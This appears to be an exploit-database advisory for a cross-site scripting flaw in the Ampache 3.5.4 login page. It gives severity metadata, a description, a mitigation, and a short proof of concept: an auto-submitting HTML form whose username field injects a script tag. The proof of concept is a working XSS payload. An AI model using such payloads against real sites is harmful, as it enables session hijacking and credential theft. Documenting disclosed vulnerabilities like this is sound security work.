Cross-Site Scripting in Ampache

vendor:

Ampache

by:

Unknown

5.5

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: Ampache

Affected Version From: 3.5.2004

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE: a:ampache_project:ampache:3.5.4

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Cross-Site Scripting in Ampache

Ampache is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user-supplied input before using it in any output.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/47756/info

Ampache is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Ampache 3.5.4 is vulnerable; other versions may also be affected.

<html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/ampache-3.5.4/login.php"> <input type="hidden" name="username" value=""><script>alert(0)</script>" /> </form> </body> </html>